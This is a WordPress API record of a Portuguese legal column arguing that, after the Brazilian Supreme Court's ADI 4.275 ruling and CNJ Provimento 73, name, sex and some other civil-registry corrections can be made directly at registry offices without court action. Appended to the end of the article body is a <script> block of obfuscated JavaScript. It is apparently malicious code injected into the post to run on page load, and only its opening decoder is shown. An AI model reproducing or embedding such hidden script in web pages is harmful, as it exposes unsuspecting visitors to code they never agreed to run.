{"id":772,"date":"2018-07-25T14:07:22","date_gmt":"2018-07-25T17:07:22","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/a-possibilidade-de-retificacoes-extrajudiciais-de-registro-civil-por-rogerio-alvarez-de-oliveira\/"},"modified":"2018-07-25T14:07:22","modified_gmt":"2018-07-25T17:07:22","slug":"a-possibilidade-de-retificacoes-extrajudiciais-de-registro-civil-por-rogerio-alvarez-de-oliveira","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/a-possibilidade-de-retificacoes-extrajudiciais-de-registro-civil-por-rogerio-alvarez-de-oliveira\/","title":{"rendered":"A possibilidade de retifica\u00e7\u00f5es extrajudiciais de registro civil &#8211; Por Rog\u00e9rio Alvarez de Oliveira"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; escrevi nesta coluna (<a href=\"https:\/\/www.conjur.com.br\/2017-out-02\/mp-debate-acoes-mudanca-sexo-nome-intervencao-mp\" target=\"_blank\" rel=\"noopener noreferrer\"><em>A&ccedil;&otilde;es para mudan&ccedil;a de sexo e nome e a interven&ccedil;&atilde;o do Minist&eacute;rio P&uacute;blico<\/em><\/a>, de 2 de outubro de 2017) que &ldquo;a Constitui&ccedil;&atilde;o Cidad&atilde; prescreve em seu pre&acirc;mbulo a institui&ccedil;&atilde;o de um Estado Democr&aacute;tico de Direito, impondo a igualdade e a justi&ccedil;a como valores supremos de uma sociedade fraterna e pluralista sem preconceitos, mandamento que &eacute; corroborado pelo art. 1&ordm;, inciso III, que imp&otilde;e a dignidade da pessoa humana como fundamento da Rep&uacute;blica, e ainda pelo art. 3&ordm;, inciso IV, que disp&otilde;e que constitui objetivo fundamental a promo&ccedil;&atilde;o do bem de todos, sem preconceitos de origem, ra&ccedil;a, sexo, cor, idade e quaisquer outras formas de discrimina&ccedil;&atilde;o. Referidos valores foram ratificados pelos Princ&iacute;pios de Yogyakarta, estabelecidos em confer&ecirc;ncia na Indon&eacute;sia visando o estabelecimento de par&acirc;metros de concretiza&ccedil;&atilde;o de respeito &agrave; diversidade sexual&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Nesse contexto e baseando-se nesses valores, tem se verificado um incremento nos pedidos judiciais de mudan&ccedil;a de sexo &mdash; e de nome &mdash; por pessoas que n&atilde;o se identificam mais com o sexo biol&oacute;gico de nascen&ccedil;a nem tampouco com seu nome, mas com o g&ecirc;nero oposto. Tal pretens&atilde;o se funda na desconformidade entre o sexo biol&oacute;gico e o sexo psicol&oacute;gico da pessoa, condi&ccedil;&atilde;o conhecida por transexualismo ou disforia de g&ecirc;nero (transtorno de identidade de g&ecirc;nero).&rdquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Decorre da&iacute; que, para ajustar o sexo jur&iacute;dico ao sexo psicol&oacute;gico com o qual se identifica, a pessoa nessa condi&ccedil;&atilde;o deveria atender a pelo menos dois requisitos b&aacute;sicos: a) ajuizar a&ccedil;&atilde;o judicial para esse fim; b) fazer prova dessa condi&ccedil;&atilde;o mediante exibi&ccedil;&atilde;o de relat&oacute;rios m&eacute;dico e psicol&oacute;gico. Houve casos (em menor n&uacute;mero) em que o Judici&aacute;rio ainda exigia a realiza&ccedil;&atilde;o da cirurgia de transgenitaliza&ccedil;&atilde;o ou redesigna&ccedil;&atilde;o de sexo como condi&ccedil;&atilde;o para a mudan&ccedil;a pretendida.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A interven&ccedil;&atilde;o do Minist&eacute;rio P&uacute;blico nessas a&ccedil;&otilde;es se fundava no artigo&nbsp;109 e seu par&aacute;grafo 1&ordm; da Lei 6.015\/73, porquanto se tratava de retifica&ccedil;&atilde;o de dado essencial do assento p&uacute;blico, configurando verdadeira a&ccedil;&atilde;o de estado (que diz respeito &agrave;s quest&otilde;es de nacionalidade, mudan&ccedil;a de sexo e tamb&eacute;m capacidade civil, dentre outros direitos da personalidade e dignidade humana).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Contudo, recentemente o Supremo Tribunal Federal, ao t&eacute;rmino do julgamento da A&ccedil;&atilde;o Direta de Inconstitucionalidade&nbsp;4.275, por maioria de seus ministros, por interpreta&ccedil;&atilde;o conforme ao artigo&nbsp;58 da Lei&nbsp;6.015\/73, acabou por conferir aos transg&ecirc;neros\/transexuais o direito de requerer a substitui&ccedil;&atilde;o do prenome e sexo diretamente no cart&oacute;rio de registro civil, mediante requerimento administrativo, independentemente da realiza&ccedil;&atilde;o de cirurgias, tratamentos hormonais ou outros, dispensando, inclusive, a demonstra&ccedil;&atilde;o ou prova dessa condi&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Sendo assim, o direito &agrave; substitui&ccedil;&atilde;o do prenome e do sexo constantes em registro civil passou a ser potestativo, n&atilde;o mais dependendo de comprova&ccedil;&atilde;o da condi&ccedil;&atilde;o da pessoa, tampouco de manifesta&ccedil;&atilde;o ou a&ccedil;&atilde;o judicial. Outrossim, embasado nessa decis&atilde;o, o CNJ houve por bem regular a mat&eacute;ria com a edi&ccedil;&atilde;o do Provimento 73, de 28 de junho de 2018, orientando como dever&aacute; se dar a averba&ccedil;&atilde;o dessa pretens&atilde;o no &acirc;mbito administrativo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Nesse cen&aacute;rio, por via reflexa, o STF acabou por desjudicializar n&atilde;o somente as pretens&otilde;es de altera&ccedil;&atilde;o de assento de registro civil que tenha por objeto a mudan&ccedil;a de nome ou sexo, como tamb&eacute;m aquelas que tenham por finalidade a altera&ccedil;&atilde;o de nome por escolha do interessado. Afinal, se a a&ccedil;&atilde;o judicial &eacute; desnecess&aacute;ria para a mudan&ccedil;a dos dois elementos mais essenciais e representativos do registro civil &mdash; como o nome e o sexo &mdash;, tamb&eacute;m dever&aacute; ser dispensada, ao nosso ver, para as hip&oacute;teses menos importantes, como modifica&ccedil;&otilde;es de prenome ou substitui&ccedil;&atilde;o por apelido not&oacute;rio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Tem lugar aquele velho ad&aacute;gio: &ldquo;Quem pode o mais&nbsp;pode o menos&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; n&atilde;o era sem tempo, pois algumas dessas modifica&ccedil;&otilde;es j&aacute; podiam ser pleiteadas diretamente no cart&oacute;rio de registro civil mediante a exibi&ccedil;&atilde;o dos documentos necess&aacute;rios pelo interessado, porquanto n&atilde;o apresentam qualquer conte&uacute;do de indaga&ccedil;&atilde;o ou litigioso, do qual o Judici&aacute;rio deve se ocupar com exclusividade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Como &eacute; cedi&ccedil;o, as retifica&ccedil;&otilde;es de registro civil podem ser realizadas pela via judicial ou administrativa, conforme o caso. O artigo&nbsp;13, inciso I, da Lei 6.015\/73 permite que alguns atos do registro civil possam ser praticados a requerimento verbal ou escrito dos interessados, independentemente de ordem judicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A lei registral j&aacute; possibilitava a modifica&ccedil;&atilde;o do nome e do assento sem necessidade de a&ccedil;&atilde;o judicial, conforme disposto nos artigos 56 e 110, nos seguintes casos: I) o interessado que, no primeiro ano ap&oacute;s ter atingido a maioridade civil, poder&aacute; alterar o nome, desde que n&atilde;o prejudique os apelidos de fam&iacute;lia; II) erros que n&atilde;o exijam qualquer indaga&ccedil;&atilde;o para a constata&ccedil;&atilde;o; III) erro na transposi&ccedil;&atilde;o dos elementos constantes em ordens e mandados judiciais, bem como de outros t&iacute;tulos; IV) inexatid&atilde;o da ordem cronol&oacute;gica e sucessiva da numera&ccedil;&atilde;o do livro, da folha, da p&aacute;gina, do termo e da data do registro; V) eleva&ccedil;&atilde;o de distrito a munic&iacute;pio ou altera&ccedil;&atilde;o de suas nomenclaturas por for&ccedil;a de lei. Com a mudan&ccedil;a introduzida pela Lei 13.484\/2017, deixou de ser necess&aacute;ria, inclusive, a oitiva do Minist&eacute;rio P&uacute;blico nesses casos de retifica&ccedil;&atilde;o administrativa de erros mais simples ou que n&atilde;o exijam qualquer indaga&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Outras situa&ccedil;&otilde;es vinham ensejando autoriza&ccedil;&atilde;o judicial, tais como: VI) as quest&otilde;es de filia&ccedil;&atilde;o (art. 113); VII) averba&ccedil;&atilde;o do patron&iacute;mico do companheiro pela mulher (art. 57, &sect;2&ordm;); VIII) altera&ccedil;&atilde;o de nome em raz&atilde;o de fundada coa&ccedil;&atilde;o ou amea&ccedil;a decorrente de colabora&ccedil;&atilde;o com a apura&ccedil;&atilde;o de crime (art. 57, &sect;7&ordm; e 58, par&aacute;grafo &uacute;nico); IX) averba&ccedil;&atilde;o do nome de fam&iacute;lia do padrasto ou da madrasta pelo enteado (art. 57, &sect;8&ordm;); X) modifica&ccedil;&atilde;o de nome pelo interessado fundado em motivo relevante (art. 57, caput); XI) substitui&ccedil;&atilde;o do prenome por apelidos p&uacute;blicos not&oacute;rios (art. 58).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; H&aacute;, ainda, a hip&oacute;tese de decis&atilde;o pelo juiz quando os pais n&atilde;o se conformarem com a recusa do oficial quanto ao prenome suscet&iacute;vel de expor ao rid&iacute;culo a pessoa (art. 55, par&aacute;grafo &uacute;nico) (XII). Nesse caso, a compet&ecirc;ncia &eacute; do juiz corregedor permanente do cart&oacute;rio de registro civil de determinada regi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; De todas essas hip&oacute;teses, aquelas enumeradas nos itens I a V podem ser objeto de retifica&ccedil;&atilde;o\/modifica&ccedil;&atilde;o pela via administrativa, ou seja, diretamente no cart&oacute;rio de registro civil. Acrescente-se a elas, agora, em virtude da referida decis&atilde;o do STF, a possibilidade de altera&ccedil;&atilde;o de nome e sexo diretamente pela via administrativa, desde que atendidos pelo interessado os requisitos do Provimento n&ordm; 73 do CNJ.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ao nosso ver, com a desjudicializa&ccedil;&atilde;o promovida pelo STF, as hip&oacute;teses de modifica&ccedil;&atilde;o de nome pelo interessado fundado em motivo relevante (hip&oacute;tese X) e substitui&ccedil;&atilde;o do prenome por apelidos p&uacute;blicos not&oacute;rios (hip&oacute;tese XI) tamb&eacute;m dever&atilde;o ser doravante permitidas atrav&eacute;s da via administrativa, dependendo somente de regulamenta&ccedil;&atilde;o pelo CNJ, pelas mesmas raz&otilde;es que fundamentaram a decis&atilde;o proferida na referida ADI, ou seja, &quot;a altera&ccedil;&atilde;o dos assentos no registro p&uacute;blico depende apenas da livre manifesta&ccedil;&atilde;o de vontade da pessoa que visa expressar sua identidade de g&ecirc;nero. A pessoa n&atilde;o deve provar o que &eacute; e o Estado n&atilde;o deve condicionar a express&atilde;o da identidade a qualquer tipo de modelo, ainda que meramente procedimental&quot;, conforme observado pelo ministro Fachin em seu voto no julgamento j&aacute; referido.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ora, se cabe ao pr&oacute;prio interessado a decis&atilde;o sobre a mudan&ccedil;a de sexo e nome, tamb&eacute;m a ele deveria caber decidir se deseja mudar seu nome em raz&atilde;o de motivo relevante ou para substituir apelidos p&uacute;blicos not&oacute;rios. Como se sabe, o nome &eacute; elemento da identidade pessoal, devendo sua mudan&ccedil;a depender exclusivamente de sua vontade. Por outro lado, desnecess&aacute;ria a pr&eacute;via autoriza&ccedil;&atilde;o judicial, pois se surgir situa&ccedil;&atilde;o que possa caracterizar fraude, caber&aacute; ao oficial do registro civil a instaura&ccedil;&atilde;o de procedimento de d&uacute;vida, a ser dirimido pelo juiz.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Os demais casos enumerados nos itens VI a IX, em raz&atilde;o de expressa disposi&ccedil;&atilde;o legal, bem como por envolverem interesse de terceiros ou interesse indispon&iacute;vel, devem permanecer dependendo de manifesta&ccedil;&atilde;o judicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; esperada, diante de t&atilde;o importante decis&atilde;o exarada pelo STF, uma mudan&ccedil;a de h&aacute;bito dos operadores de direito, de modo a passarem a formular as pretens&otilde;es diretamente nos cart&oacute;rios de registro civil, deixando, assim, de levar ao Judici&aacute;rio tais demandas, exceto nas hip&oacute;teses onde o pronunciamento judicial ainda se faz necess&aacute;rio. Tomem-se como exemplo alguns dos casos de retifica&ccedil;&atilde;o para obten&ccedil;&atilde;o de cidadania estrangeira, que se adequam perfeitamente &agrave;s hip&oacute;teses dos itens II e III, podendo ser pleiteados diretamente no &acirc;mbito administrativo. Conv&eacute;m observar que a previs&atilde;o da via administrativa do art. 110 da Lei 6.015\/1973 consiste numa op&ccedil;&atilde;o do interessado que, se reputar conveniente, poder&aacute; valer-se da via judicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Por fim, n&atilde;o sendo mais necess&aacute;ria a judicializa&ccedil;&atilde;o nesses casos, a interven&ccedil;&atilde;o do Minist&eacute;rio P&uacute;blico em pedidos de retifica&ccedil;&atilde;o de registro civil dever&aacute; se circunscrever &agrave;s hip&oacute;teses em que permanece sendo necess&aacute;rio o pronunciamento judicial. Outrossim, ainda que o interessado em retifica&ccedil;&atilde;o de sexo e nome tenha optado pela via judicial, n&atilde;o se vislumbra mais hip&oacute;tese de interven&ccedil;&atilde;o do Minist&eacute;rio P&uacute;blico nesse caso, porquanto se o direito poder&aacute; ser buscado diretamente no cart&oacute;rio de registro civil pelo interessado, onde n&atilde;o se faz necess&aacute;ria a oitiva do MP, operou-se evidente mudan&ccedil;a de categoria desse direito, que deixou de ser considerado como a&ccedil;&atilde;o de estado, tornando desnecess&aacute;ria a atua&ccedil;&atilde;o do &oacute;rg&atilde;o interveniente, a conferir e a depender de orienta&ccedil;&atilde;o de seus &oacute;rg&atilde;os da administra&ccedil;&atilde;o superior e de controle interno.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Nos demais, quando chamado a intervir, o Minist&eacute;rio P&uacute;blico dever&aacute; permanecer atuando para zelar, nessas a&ccedil;&otilde;es, pela observ&acirc;ncia dos princ&iacute;pios da legalidade, publicidade, seguran&ccedil;a jur&iacute;dica e efic&aacute;cia dos atos jur&iacute;dicos, dignidade da pessoa humana, dentre outros.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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